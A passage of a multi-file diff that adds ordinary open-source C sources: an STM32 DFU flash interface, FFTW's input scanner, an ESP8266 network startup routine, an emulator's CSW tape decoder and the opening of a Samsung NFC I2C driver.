+uint16_t Flash_If_DeInit(void);
+uint16_t Flash_If_GetStatus(uint32_t Add, uint8_t Cmd, uint8_t *buffer);
+
+USBD_DFU_MediaTypeDef USBD_DFU_Flash_fops= {
+  (uint8_t *)FLASH_DESC_STR,
+  Flash_If_Init,
+  Flash_If_DeInit,
+  Flash_If_Erase,
+  Flash_If_Write,
+  Flash_If_Read,
+  Flash_If_GetStatus,  
+};
+
+/* Private functions ---------------------------------------------------------*/
+/**
+  * @brief  Initializes Memory.
+  * @param  None
+  * @retval 0 if operation is successful, MAL_FAIL else.
+  */
+uint16_t Flash_If_Init(void)
+{ 
+  /* Unlock the internal flash */  
+  HAL_FLASH_Unlock();
+  return 0;
+}
+
+/**
+  * @brief  De-Initializes Memory.
+  * @param  None
+  * @retval 0 if operation is successful, MAL_FAIL else.
+  */
+uint16_t Flash_If_DeInit(void)
+{ 
+  /* Lock the internal flash */
+  HAL_FLASH_Lock();
+  return 0;
+}
+
+/**
+  * @brief  Erases sector.
+  * @param  Add: Address of sector to be erased.
+  * @retval 0 if operation is successful, MAL_FAIL else.
+  */
+uint16_t Flash_If_Erase(uint32_t Add)
+{
+  uint32_t startsector = 0, sectorerror = 0, nbofsectors = 0;
+  
+  /* Variable contains Flash operation status */
+  HAL_StatusTypeDef status;
+  FLASH_EraseInitTypeDef eraseinitstruct;
+  
+  /* Get the number of sector */
+  startsector = GetSector(Add);
+  
+  /* Get the number of sector to erase from the start sector: max number of sectors - value of Initial sector */
+  nbofsectors = (USBD_DFU_MAX_NB_OF_SECTORS - startsector);
+  eraseinitstruct.TypeErase = FLASH_TYPEERASE_SECTORS;
+  eraseinitstruct.Banks = 0;
+  eraseinitstruct.Sector = startsector;
+  eraseinitstruct.NbSectors = nbofsectors;
+  eraseinitstruct.VoltageRange = FLASH_VOLTAGE_RANGE_3;
+  status = HAL_FLASHEx_Erase(&eraseinitstruct, &sectorerror);
+  
+  if (status != HAL_OK)
+  {
+    return 1;
+  }
+  return 0;
+}
+
+/**
+  * @brief  Writes Data into Memory.
+  * @param  src: Pointer to the source buffer. Address to be written to.
+  * @param  dest: Pointer to the destination buffer.
+  * @param  Len: Number of data to be written (in bytes).
+  * @retval 0 if operation is successful, MAL_FAIL else.
+  */
+uint16_t Flash_If_Write(uint8_t *src, uint8_t *dest, uint32_t Len)
+{
+  uint32_t i = 0;
+  
+  for(i = 0; i < Len; i+=4)
+  {
+    /* Device voltage range supposed to be [2.7V to 3.6V], the operation will
+       be done by byte */ 
+    if(HAL_FLASH_Program(FLASH_TYPEPROGRAM_WORD, (uint32_t)(dest+i), *(uint32_t*)(src+i)) == HAL_OK)
+    {
+     /* Check the written value */
+      if(*(uint32_t *)(src + i) != *(uint32_t*)(dest+i))
+      {
+        /* Flash content doesn't match SRAM content */
+        return 2;
+      }
+    }
+    else
+    {
+      /* Error occurred while writing data in Flash memory */
+      return 1;
+    }
+  }
+  return 0;
+}
+
+/**
+  * @brief  Reads Data into Memory.
+  * @param  src: Pointer to the source buffer. Address to be written to.
+  * @param  dest: Pointer to the destination buffer.
+  * @param  Len: Number of data to be read (in bytes).
+  * @retval Pointer to the physical address where data should be read.
+  */
+uint8_t *Flash_If_Read(uint8_t *src, uint8_t *dest, uint32_t Len)
+{
+  uint32_t i = 0;
+  uint8_t *psrc = src;
+  
+  for(i = 0; i < Len; i++)
+  {
+    dest[i] = *psrc++;
+  }
+  /* Return a valid address to avoid HardFault */
+  return (uint8_t*)(dest); 
+}
+
+/**
+  * @brief  Gets Memory Status.
+  * @param  Add: Address to be read from.
+  * @param  Cmd: Number of data to be read (in bytes).
+  * @retval 0 if operation is successful
+  */
+uint16_t Flash_If_GetStatus(uint32_t Add, uint8_t Cmd, uint8_t *buffer)
+{
+  switch(Cmd)
+  {
+  case DFU_MEDIA_PROGRAM:
+    buffer[1] = (uint8_t)FLASH_PROGRAM_TIME;
+    buffer[2] = (uint8_t)(FLASH_PROGRAM_TIME << 8);
+    buffer[3] = 0;  
+    break;
+    
+  case DFU_MEDIA_ERASE:
+  default:
+    buffer[1] = (uint8_t)FLASH_ERASE_TIME;
+    buffer[2] = (uint8_t)(FLASH_ERASE_TIME << 8);
+    buffer[3] = 0;  
+    break;
+  }                             
+  return 0; 
+}
+
+/**
+  * @brief  Gets the sector of a given address
+  * @param  Address Address of the FLASH Memory
+  * @retval The sector of a given address
+  */
+static uint32_t GetSector(uint32_t Address)
+{
+  uint32_t sector = 0;
+  
+ if((Address < ADDR_FLASH_SECTOR_1) && (Address >= ADDR_FLASH_SECTOR_0))
+  {
+    sector = FLASH_SECTOR_0;  
+  }
+  else if((Address < ADDR_FLASH_SECTOR_2) && (Address >= ADDR_FLASH_SECTOR_1))
+  {
+    sector = FLASH_SECTOR_1;  
+  }
+  else if((Address < ADDR_FLASH_SECTOR_3) && (Address >= ADDR_FLASH_SECTOR_2))
+  {
+    sector = FLASH_SECTOR_2;  
+  }
+  else if((Address < ADDR_FLASH_SECTOR_4) && (Address >= ADDR_FLASH_SECTOR_3))
+  {
+    sector = FLASH_SECTOR_3;  
+  }
+  else if((Address < ADDR_FLASH_SECTOR_5) && (Address >= ADDR_FLASH_SECTOR_4))
+  {
+    sector = FLASH_SECTOR_4;  
+  }
+  else if((Address < ADDR_FLASH_SECTOR_6) && (Address >= ADDR_FLASH_SECTOR_5))
+  {
+    sector = FLASH_SECTOR_5;  
+  }
+  else if((Address < ADDR_FLASH_SECTOR_7) && (Address >= ADDR_FLASH_SECTOR_6))
+  {
+    sector = FLASH_SECTOR_6;  
+  }
+  else
+  {
+    sector = FLASH_SECTOR_7;  
+  }
+  return sector;
+}
+
+/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
diff --git a/pool/shard001/C/0023636_scan.c b/pool/shard001/C/0023636_scan.c
new file mode 100644
index 0000000000000000000000000000000000000000..6e93ee95994df824698b048892988bef883a7e66
--- /dev/null
+++ b/pool/shard001/C/0023636_scan.c
@@ -0,0 +1,204 @@
+/*
+ * Copyright (c) 2003, 2007-14 Matteo Frigo
+ * Copyright (c) 2003, 2007-14 Massachusetts Institute of Technology
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
+ *
+ */
+
+
+#include "ifftw.h"
+#include <string.h>
+#include <stddef.h>
+#include <stdarg.h>
+#include <stdio.h>
+
+#ifdef USE_CTYPE
+#include <ctype.h>
+#else
+/* Screw ctype. On linux, the is* functions call a routine that gets
+   the ctype map in the current locale.  Because this operation is
+   expensive, the map is cached on a per-thread basis.  I am not
+   willing to link this crap with FFTW.  Not over my dead body.
+
+   Sic transit gloria mundi.
+*/
+#undef isspace
+#define isspace(x) ((x) >= 0 && (x) <= ' ')
+#undef isdigit
+#define isdigit(x) ((x) >= '0' && (x) <= '9')
+#undef isupper
+#define isupper(x) ((x) >= 'A' && (x) <= 'Z')
+#undef islower
+#define islower(x) ((x) >= 'a' && (x) <= 'z')
+#endif
+
+static int mygetc(scanner *sc)
+{
+     if (sc->ungotc != EOF) {
+	  int c = sc->ungotc;
+	  sc->ungotc = EOF;
+	  return c;
+     }
+     return(sc->getchr(sc));
+}
+
+#define GETCHR(sc) mygetc(sc)
+
+static void myungetc(scanner *sc, int c)
+{
+     sc->ungotc = c;
+}
+
+#define UNGETCHR(sc, c) myungetc(sc, c)
+
+static void eat_blanks(scanner *sc)
+{
+     int ch;
+     while (ch = GETCHR(sc), isspace(ch))
+          ;
+     UNGETCHR(sc, ch);
+}
+
+static void mygets(scanner *sc, char *s, int maxlen)
+{
+     char *s0 = s;
+     int ch;
+
+     A(maxlen > 0);
+     while ((ch = GETCHR(sc)) != EOF && !isspace(ch)
+	    && ch != ')' && ch != '(' && s < s0 + maxlen)
+	  *s++ = (char)(ch & 0xFF);
+     *s = 0;
+     UNGETCHR(sc, ch);
+}
+
+static long getlong(scanner *sc, int base, int *ret)
+{
+     int sign = 1, ch, count;
+     long x = 0;     
+
+     ch = GETCHR(sc);
+     if (ch == '-' || ch == '+') {
+	  sign = ch == '-' ? -1 : 1;
+	  ch = GETCHR(sc);
+     }
+     for (count = 0; ; ++count) {
+	  if (isdigit(ch)) 
+	       ch -= '0';
+	  else if (isupper(ch))
+	       ch -= 'A' - 10;
+	  else if (islower(ch))
+	       ch -= 'a' - 10;
+	  else
+	       break;
+	  x = x * base + ch;
+	  ch = GETCHR(sc);
+     }
+     x *= sign;
+     UNGETCHR(sc, ch);
+     *ret = count > 0;
+     return x;
+}
+
+/* vscan is mostly scanf-like, with our additional format specifiers,
+   but with a few twists.  It returns simply 0 or 1 indicating whether
+   the match was successful. '(' and ')' in the format string match
+   those characters preceded by any whitespace.  Finally, if a
+   character match fails, it will ungetchr() the last character back
+   onto the stream. */
+static int vscan(scanner *sc, const char *format, va_list ap)
+{
+     const char *s = format;
+     char c;
+     int ch = 0;
+     int fmt_len;
+
+     while ((c = *s++)) {
+	  fmt_len = 0;
+          switch (c) {
+	      case '%':
+	  getformat:
+		   switch ((c = *s++)) {
+		       case 's': {
+			    char *x = va_arg(ap, char *);
+			    mygets(sc, x, fmt_len);
+			    break;
+		       }
+		       case 'd': {
+			    int *x = va_arg(ap, int *);
+			    *x = (int) getlong(sc, 10, &ch);
+			    if (!ch) return 0;
+			    break;
+		       }
+		       case 'x': {
+			    int *x = va_arg(ap, int *);
+			    *x = (int) getlong(sc, 16, &ch);
+			    if (!ch) return 0;
+			    break;
+		       }
+		       case 'M': {
+			    md5uint *x = va_arg(ap, md5uint *);
+			    *x = (md5uint)
+				    (0xFFFFFFFF & getlong(sc, 16, &ch));
+			    if (!ch) return 0;
+			    break;
+		       }
+		       case '*': {
+			    if ((fmt_len = va_arg(ap, int)) <= 0) return 0;
+			    goto getformat;
+		       }
+		       default:
+			    A(0 /* unknown format */);
+			    break;
+		   }
+		   break;
+	      default:
+		   if (isspace(c) || c == '(' || c == ')')
+			eat_blanks(sc);
+		   if (!isspace(c) && (ch = GETCHR(sc)) != c) {
+			UNGETCHR(sc, ch);
+			return 0;
+		   }
+		   break;
+          }
+     }
+     return 1;
+}
+
+static int scan(scanner *sc, const char *format, ...)
+{
+     int ret;
+     va_list ap;
+     va_start(ap, format);
+     ret = vscan(sc, format, ap);
+     va_end(ap);
+     return ret;
+}
+
+scanner *X(mkscanner)(size_t size, int (*getchr)(scanner *sc))
+{
+     scanner *s = (scanner *)MALLOC(size, OTHER);
+     s->scan = scan;
+     s->vscan = vscan;
+     s->getchr = getchr;
+     s->ungotc = EOF;
+     return s;
+}
+
+void X(scanner_destroy)(scanner *sc)
+{
+     X(ifree)(sc);
+}
diff --git a/pool/shard001/C/0023641_user_main.c b/pool/shard001/C/0023641_user_main.c
new file mode 100644
index 0000000000000000000000000000000000000000..f6f4b7bfc9a2bc553b72a0e7f603148b95ddc1ed
--- /dev/null
+++ b/pool/shard001/C/0023641_user_main.c
@@ -0,0 +1,190 @@
+#include "ets_sys.h"
+#include "osapi.h"
+#include "os_type.h"
+#include "user_config.h"
+#include "user_interface.h"
+#include "uart.h"
+#include "espconn.h"
+#include "mem.h"
+#include "__attribute__.h"
+#include "ntp.h"
+
+int bootstatus = 0;  // 1 - network up, 2-ready
+uint32_t t = 0;
+uint32_t  heapLast = 0;
+uint32_t  heap = 0;
+uint8_t ESP_WORD_ALIGN wifiStatus;
+int ntp_unix_timestamp = 0;
+int ntp_status = -1;
+
+static void loop();
+
+LOCAL os_timer_t boottimer;
+LOCAL os_timer_t poketimer;
+
+typedef struct {
+	int socket;
+#ifdef ESP8266
+	struct espconn tcpconn;
+	struct espconn udpconn;
+	struct espconn *conn;
+	esp_tcp esptcp;
+#else
+	struct sockaddr_in sockaddr;
+#endif
+	char *ip;
+	int type; // SOCK_STREAM SOCK_DGRAM SOCK_RAW SOCK_RDM SOCK_SEQPACKET
+	int acceptedSocket;
+	int bind;
+} ESP_WORD_ALIGN _Connection;
+
+
+_Connection ESP_WORD_ALIGN c;
+
+LOCAL void CP_ICACHE_FLASH_ATTR
+udp_callback(void *arg, char *data, unsigned short length)
+{
+	unsigned short l;
+    os_printf("%12u GOT A UDP PACKET\n\r", t/100000 );
+
+    if (data == NULL) { return; }
+    
+	return;
+}
+
+tcp_listen(void *arg)
+{
+    struct espconn *pesp_conn = arg;
+
+    espconn_regist_recvcb(pesp_conn, udp_callback);
+    
+//    espconn_regist_reconcb(pesp_conn, webserver_recon);
+//    espconn_regist_disconcb(pesp_conn, webserver_discon);
+}
+
+static void CP_ICACHE_FLASH_ATTR
+loop()
+{
+	t = system_get_time();
+	heapLast = heap;
+	heap = system_get_free_heap_size();
+	if (ntp_unix_timestamp > 0) {
+	    ntp_unix_timestamp++;
+	}
+	
+	wifiStatus = wifi_station_get_connect_status();
+//    os_printf("%12u wifi connect status -  %d/%d\n\r", t/100000, wifiStatus, bootstatus);
+    os_printf("%12u %12u Running -  %d/%d\n\r", t/100000, ntp_unix_timestamp, wifiStatus, bootstatus);
+	
+}
+
+static void CP_ICACHE_FLASH_ATTR
+startup()
+{
+	uint32 t;
+	uint32_t status;
+	char buffer[128] = {0};
+    struct ip_info ipconfig;
+    char hwaddr[6];
+	t = system_get_time();
+	wifiStatus = wifi_station_get_connect_status();
+    os_printf("%12u %12u wifi connect status -  %d/%d\n\r", t/100000, ntp_unix_timestamp, wifiStatus, bootstatus);
+
+	if ( ( wifiStatus == STATION_GOT_IP ) &&  ( bootstatus == 0 ) ) {
+		os_timer_disarm(&boottimer);
+        wifi_get_ip_info(STATION_IF, &ipconfig);
+        wifi_get_macaddr(STATION_IF, hwaddr);
+        os_sprintf(buffer, MACSTR " " IPSTR, 
+                   MAC2STR(hwaddr), IP2STR(&ipconfig.ip));
+		os_printf("%s\n\r", buffer);
+
+		bootstatus = 1; // network up
+#ifdef BROKEN		
+		ntp_get_time();	
+#else 
+		ntp_unix_timestamp = 1439183355;
+#endif 
+		os_timer_disarm(&boottimer);
+	    os_timer_setfn(&boottimer, (os_timer_func_t *)startup, NULL);
+    	os_timer_arm(&boottimer, 250, 1);
+		
+	} 
+
+	if ( (ntp_status == 2) && ( bootstatus == 1 ) ) {
+		os_printf ("ntp timed out ... retry.\n");
+		ntp_get_time();	
+	}
+	
+	if ( (ntp_unix_timestamp > 0) && ( bootstatus == 1 ) ) {
+		os_timer_disarm(&boottimer);
+
+	    os_timer_disarm(&poketimer);
+    	os_timer_setfn(&poketimer, (os_timer_func_t *)loop, NULL);
+    	os_timer_arm(&poketimer, 1000, 1);
+
+		bootstatus = 2; // timeset 
+	    os_printf("%12u %12u Boot Status -  %d/%d\n\r", t/100000, ntp_unix_timestamp, wifiStatus, bootstatus);
+
+        wifi_get_ip_info(STATION_IF, &ipconfig);
+		struct mdns_info *info = (struct mdns_info *)os_zalloc(sizeof(struct mdns_info));
+		info->ipAddr = ipconfig.ip.addr; //ESP8266 station IP
+		
+		info->server_name = "http";
+		info->host_name = "HostName8266";
+
+        wifi_get_macaddr(STATION_IF, hwaddr);
+        wifi_get_ip_info(STATION_IF, &ipconfig);
+		
+		info->server_port = 1288;
+		info->txt_data[0] = "version = 0.1";
+		info->txt_data[1] = "user1 = data1";
+		info->txt_data[2] = "user2 = data2";
+		espconn_mdns_init(info);
+
+
+		c.tcpconn.type = ESPCONN_TCP;
+		c.tcpconn.state = ESPCONN_NONE;
+		c.tcpconn.proto.tcp = &c.esptcp;
+		c.tcpconn.proto.tcp->local_port = 1288;
+		espconn_regist_connectcb(&c.tcpconn, (espconn_connect_callback)tcp_listen);
+		espconn_accept(&c.tcpconn);
+	    
+    	c.udpconn.type = ESPCONN_UDP;
+    	c.udpconn.proto.udp = (esp_udp *)os_zalloc(sizeof(esp_udp));
+    	c.udpconn.proto.udp->local_port = 1288;
+    	espconn_regist_recvcb(&c.udpconn, udp_callback);
+    	espconn_create(&c.udpconn);
+
+	    os_printf("%12u %12u Setup Complete -  %d/%d\n\r", t/100000, ntp_unix_timestamp, wifiStatus, bootstatus);
+
+
+	} 
+	
+}
+
+
+//Init function 
+void CP_ICACHE_FLASH_ATTR
+user_init()
+{
+    char ssid[32] = SSID;
+    char password[64] = SSID_PASSWORD;
+    struct station_config stationConf;
+    int i=0;
+
+    uart_init(BIT_RATE_115200,BIT_RATE_115200);
+
+	heap =0;
+	heapLast = 0;
+    //Set station mode
+    wifi_set_opmode( 0x1 );
+
+    //Set ap settings
+    os_memcpy(&stationConf.ssid, ssid, 32);
+    os_memcpy(&stationConf.password, password, 64);
+    wifi_station_set_config(&stationConf);
+
+    os_timer_disarm(&boottimer);
+    os_timer_setfn(&boottimer, (os_timer_func_t *)startup, NULL);
+    os_timer_arm(&boottimer, 250, 1);
+}
diff --git a/pool/shard001/C/0023642_csw.c b/pool/shard001/C/0023642_csw.c
new file mode 100644
index 0000000000000000000000000000000000000000..584698feccccdb67c287c57409abd44964aee02d
--- /dev/null
+++ b/pool/shard001/C/0023642_csw.c
@@ -0,0 +1,259 @@
+/* 
+ *  Arnold emulator (c) Copyright, Kevin Thacker 1995-2001
+ *  
+ *  This file is part of the Arnold emulator source code distribution.
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, write to the Free Software
+ *  Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
+ */
+#include "csw.h"
+#include "headers.h"
+
+typedef struct
+{
+	/* number of samples to output */
+	unsigned long Samples;
+	/* volume for sample to output */
+	unsigned short Level;
+} CSW_DECODER;
+
+CSW_DECODER Decoder;
+
+/* TRUE if code was successfully read, FALSE if end of file or code was not successfully read */
+static BOOL CSWDecoder_FetchCode(SAMPLE_AUDIO_STREAM *pAudioStream,CSW_DECODER *pDecoder)
+{
+	unsigned char Code;
+	unsigned long LongCode;
+
+	/* attempt to read byte-code */
+	Sample_ReadData(pAudioStream, &Code, sizeof(unsigned char));
+
+	/* if code is not zero, then byte defines length of pulse */
+	if (Code!=0)
+	{
+		pDecoder->Samples = Code & 0x0ff;
+		return TRUE;
+	}
+
+	/* code is zero, next 4 bytes define the length of the pulse */
+
+	/* read 4 byte length */
+	Sample_ReadData(pAudioStream, (unsigned char *)&LongCode, sizeof(unsigned long));
+
+	/* read 4 byte length ok! */
+
+#ifdef CPC_MSB_FIRST
+	LongCode= SwapEndianLong(LongCode);
+#endif
+	pDecoder->Samples = LongCode;
+	return TRUE;
+}
+
+/* TRUE if decoder needs more data, FALSE otherwise */
+static BOOL CSWDecoder_NeedMoreData(CSW_DECODER *pDecoder)
+{
+	return (pDecoder->Samples==0);
+}
+
+/* update decoding */
+static unsigned char CSWDecoder_Update(CSW_DECODER *pDecoder)
+{
+	unsigned short Level;
+
+	Level = pDecoder->Level;
+
+	/* decrement count */
+	pDecoder->Samples--;
+
+	/* toggle level */
+	if (pDecoder->Samples==0)
+	{
+		/* change level */
+		if (pDecoder->Level == 0x07f)
+			pDecoder->Level = 0x080;
+		else
+			pDecoder->Level = 0x07f;
+	}
+
+	return Level;
+}
+
+BOOL CSW_ValidateHeader(HOST_FILE_HANDLE FileHandle)
+{
+	CSW_FILE_COMMON_HEADER Header;
+
+	/* get header */
+	Host_ReadData(FileHandle, (unsigned char *)&Header, sizeof(CSW_FILE_COMMON_HEADER));
+
+	if (memcmp(Header.Ident, CSW_IDENT, 20)!=0)
+		return FALSE;
+
+	switch (Header.MajorFormatRevision)
+	{
+		case 1:
+		{
+			CSW_FILE_HEADER_V1	V1Header;
+			
+			if ((Header.MinorFormatRevision!=0) && (Header.MinorFormatRevision!=1))
+				return FALSE;
+	
+			Host_ReadData(FileHandle, (unsigned char *)&V1Header, sizeof(CSW_FILE_HEADER_V1));
+
+			if (V1Header.CompressionType!=1)
+				return FALSE;
+
+			return TRUE;
+		}
+		break;
+
+		case 2:
+		{
+			CSW_FILE_HEADER_V2	V2Header;
+			
+			if (Header.MinorFormatRevision!=0)
+				return FALSE;
+		
+			Host_ReadData(FileHandle, (unsigned char *)&V2Header, sizeof(CSW_FILE_HEADER_V2));
+
+			if (V2Header.CompressionType!=1)
+				return FALSE;
+
+			return TRUE;
+		}
+		break;
+
+		default:
+			break;
+	}
+
+	return FALSE;
+}
+
+int	CSW_Validate(char *Filename)
+{
+	BOOL Valid = FALSE;
+	HOST_FILE_HANDLE FileHandle;
+
+	FileHandle = Host_OpenFile(Filename, HOST_FILE_ACCESS_READ);
+
+	if (FileHandle!=0)
+	{
+		Valid = CSW_ValidateHeader(FileHandle);
+	
+		/* close the file */
+		Host_CloseFile(FileHandle);
+	}
+
+	return Valid;
+}
+
+/* assumes validated file */
+void	CSW_Open(SAMPLE_AUDIO_STREAM *pAudioStream)
+{	
+	CSW_FILE_COMMON_HEADER Header;
+	short InitialLevel = (short)0x080;
+
+	Sample_ReadData(pAudioStream,(unsigned char *)&Header, sizeof(CSW_FILE_COMMON_HEADER));
+
+
+	switch (Header.MajorFormatRevision)
+	{
+		case 1:
+		{
+			CSW_FILE_HEADER_V1 V1Header;
+
+			Sample_ReadData(pAudioStream, (unsigned char *)&V1Header, sizeof(CSW_FILE_HEADER_V1));
+	
+			if (Header.MinorFormatRevision!=0)
+			{
+				/* set initial level */
+				if (V1Header.Flags & CSW_POLARITY_MASK)
+				{
+					InitialLevel = 0x07f;
+				}
+				else
+				{
+					InitialLevel = 0x080;
+				}
+			}
+
+
+			/* setup sample description */
+			pAudioStream->SampleFrequency = 
+				(
+				(V1Header.SampleRateHzL & 0x0ff) | 
+				((V1Header.SampleRateHzH & 0x0ff)<<8)
+				);
+
+		}
+		break;
+
+		case 2:
+		{
+			CSW_FILE_HEADER_V2 V2Header;
+			unsigned long Skip;
+
+			Sample_ReadData(pAudioStream, (unsigned char *)&V2Header, sizeof(CSW_FILE_HEADER_V2));
+
+			if (V2Header.Flags & CSW_POLARITY_MASK)
+			{
+				InitialLevel = 0x07f;
+			}
+			else
+			{
+				InitialLevel = 0x080;
+			}		
+
+			pAudioStream->SampleFrequency = 
+				(
+				(V2Header.SampleRateHzL & 0x0ff) | 
+				((V2Header.SampleRateHzML & 0x0ff)<<8) | 
+				((V2Header.SampleRateHzMH & 0x0ff)<<16) | 
+				((V2Header.SampleRateHzH & 0x0ff)<<24)
+				);
+
+			Skip = V2Header.HeaderExtensionLength&0x0ff;
+
+			if (Skip!=0)
+			{
+				Sample_SkipData(pAudioStream, Skip);
+			}
+		}
+		break;
+	}
+
+	Decoder.Level = InitialLevel;
+	pAudioStream->SampleBits = 1;
+	pAudioStream->SampleChannels = 1;
+	CSWDecoder_FetchCode(pAudioStream, &Decoder);
+}
+
+
+
+unsigned char CSW_GetDataByte(SAMPLE_AUDIO_STREAM *pAudioStream)
+{
+	/* more data required? */
+	if (CSWDecoder_NeedMoreData(&Decoder))
+	{
+		/* fetch */
+		if (!CSWDecoder_FetchCode(pAudioStream, &Decoder))
+		{
+			/* error fetching or end of file */
+			/* return number read so far */
+		}
+	}
+
+		/* update decoder and generate a sample */
+	return CSWDecoder_Update(&Decoder);
+}
diff --git a/pool/shard001/C/0023656_i2c.c b/pool/shard001/C/0023656_i2c.c
new file mode 100644
index 0000000000000000000000000000000000000000..c61d8a308da456f8bbdda345a190e5abf85fbe45
--- /dev/null
+++ b/pool/shard001/C/0023656_i2c.c
@@ -0,0 +1,306 @@
+/*
+ * I2C Link Layer for Samsung S3FWRN5 NCI based Driver
+ *
+ * Copyright (C) 2015 Samsung Electrnoics
+ * Robert Baldyga <r.baldyga@samsung.com>
+ *
+ * This program is free software; you can redistribute it and/or modify it
+ * under the terms and conditions of the GNU General Public License,
+ * version 2 or later, as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, see <http://www.gnu.org/licenses/>.
+ */
+
+#include <linux/i2c.h>
+#include <linux/gpio.h>
+#include <linux/delay.h>
+#include <linux/of_gpio.h>
+#include <linux/of_irq.h>
+#include <linux/module.h>
+
+#include <net/nfc/nfc.h>
+
+#include "s3fwrn5.h"
+
+#define S3FWRN5_I2C_DRIVER_NAME "s3fwrn5_i2c"
+
+#define S3FWRN5_I2C_MAX_PAYLOAD 32
+#define S3FWRN5_EN_WAIT_TIME 150
+
+struct s3fwrn5_i2c_phy {
+	struct i2c_client *i2c_dev;
+	struct nci_dev *ndev;
+
+	unsigned int gpio_en;
+	unsigned int gpio_fw_wake;
+
+	struct mutex mutex;
+
+	enum s3fwrn5_mode mode;
+	unsigned int irq_skip:1;
+};
+
+static void s3fwrn5_i2c_set_wake(void *phy_id, bool wake)
+{
+	struct s3fwrn5_i2c_phy *phy = phy_id;
+
+	mutex_lock(&phy->mutex);
+	gpio_set_value(phy->gpio_fw_wake, wake);
+	msleep(S3FWRN5_EN_WAIT_TIME/2);
+	mutex_unlock(&phy->mutex);
+}
+
+static void s3fwrn5_i2c_set_mode(void *phy_id, enum s3fwrn5_mode mode)
+{
+	struct s3fwrn5_i2c_phy *phy = phy_id;
+
+	mutex_lock(&phy->mutex);
+
+	if (phy->mode == mode)
+		goto out;
+
+	phy->mode = mode;
+
+	gpio_set_value(phy->gpio_en, 1);
+	gpio_set_value(phy->gpio_fw_wake, 0);
+	if (mode == S3FWRN5_MODE_FW)
+		gpio_set_value(phy->gpio_fw_wake, 1);
+
+	if (mode != S3FWRN5_MODE_COLD) {
+		msleep(S3FWRN5_EN_WAIT_TIME);
+		gpio_set_value(phy->gpio_en, 0);
+		msleep(S3FWRN5_EN_WAIT_TIME/2);
+	}
+
+	phy->irq_skip = true;
+
+out:
+	mutex_unlock(&phy->mutex);
+}
+
+static enum s3fwrn5_mode s3fwrn5_i2c_get_mode(void *phy_id)
+{
+	struct s3fwrn5_i2c_phy *phy = phy_id;
+	enum s3fwrn5_mode mode;
+
+	mutex_lock(&phy->mutex);
+
+	mode = phy->mode;
+
+	mutex_unlock(&phy->mutex);
+
+	return mode;
+}
+
+static int s3fwrn5_i2c_write(void *phy_id, struct sk_buff *skb)
+{
+	struct s3fwrn5_i2c_phy *phy = phy_id;
+	int ret;
+
+	mutex_lock(&phy->mutex);
+
+	phy->irq_skip = false;
+
+	ret = i2c_master_send(phy->i2c_dev, skb->data, skb->len);
+	if (ret == -EREMOTEIO) {
+		/* Retry, chip was in standby */
+		usleep_range(110000, 120000);
+		ret  = i2c_master_send(phy->i2c_dev, skb->data, skb->len);
+	}
+
+	mutex_unlock(&phy->mutex);
+
+	if (ret < 0)
+		return ret;
+
+	if (ret != skb->len)
+		return -EREMOTEIO;
+
+	return 0;
+}
+
+static struct s3fwrn5_phy_ops i2c_phy_ops = {
+	.set_wake = s3fwrn5_i2c_set_wake,
+	.set_mode = s3fwrn5_i2c_set_mode,
+	.get_mode = s3fwrn5_i2c_get_mode,
+	.write = s3fwrn5_i2c_write,
+};
+
+static int s3fwrn5_i2c_read(struct s3fwrn5_i2c_phy *phy)
+{
+	struct sk_buff *skb;
+	size_t hdr_size;
+	size_t data_len;
+	char hdr[4];
+	int ret;
+
+	hdr_size = (phy->mode == S3FWRN5_MODE_NCI) ?
+		NCI_CTRL_HDR_SIZE : S3FWRN5_FW_HDR_SIZE;
+	ret = i2c_master_recv(phy->i2c_dev, hdr, hdr_size);
+	if (ret < 0)
+		return ret;
+
+	if (ret < hdr_size)
+		return -EBADMSG;
+
+	data_len = (phy->mode == S3FWRN5_MODE_NCI) ?
+		((struct nci_ctrl_hdr *)hdr)->plen :
+		((struct s3fwrn5_fw_header *)hdr)->len;
+
+	skb = alloc_skb(hdr_size + data_len, GFP_KERNEL);
+	if (!skb)
+		return -ENOMEM;
+
+	memcpy(skb_put(skb, hdr_size), hdr, hdr_size);
+
+	if (data_len == 0)
+		goto out;
+
+	ret = i2c_master_recv(phy->i2c_dev, skb_put(skb, data_len), data_len);
+	if (ret != data_len) {
+		kfree_skb(skb);
+		return -EBADMSG;
+	}
+
+out:
+	return s3fwrn5_recv_frame(phy->ndev, skb, phy->mode);
+}
+
+static irqreturn_t s3fwrn5_i2c_irq_thread_fn(int irq, void *phy_id)
+{
+	struct s3fwrn5_i2c_phy *phy = phy_id;
+	int ret = 0;
+
+	if (!phy || !phy->ndev) {
+		WARN_ON_ONCE(1);
+		return IRQ_NONE;
+	}
+
+	mutex_lock(&phy->mutex);
+
+	if (phy->irq_skip)
+		goto out;
+
+	switch (phy->mode) {
+	case S3FWRN5_MODE_NCI:
+	case S3FWRN5_MODE_FW:
+		ret = s3fwrn5_i2c_read(phy);
+		break;
+	case S3FWRN5_MODE_COLD:
+		ret = -EREMOTEIO;
+		break;
+	}
+
+out:
+	mutex_unlock(&phy->mutex);
+
+	return IRQ_HANDLED;
+}
+
+static int s3fwrn5_i2c_parse_dt(struct i2c_client *client)
+{
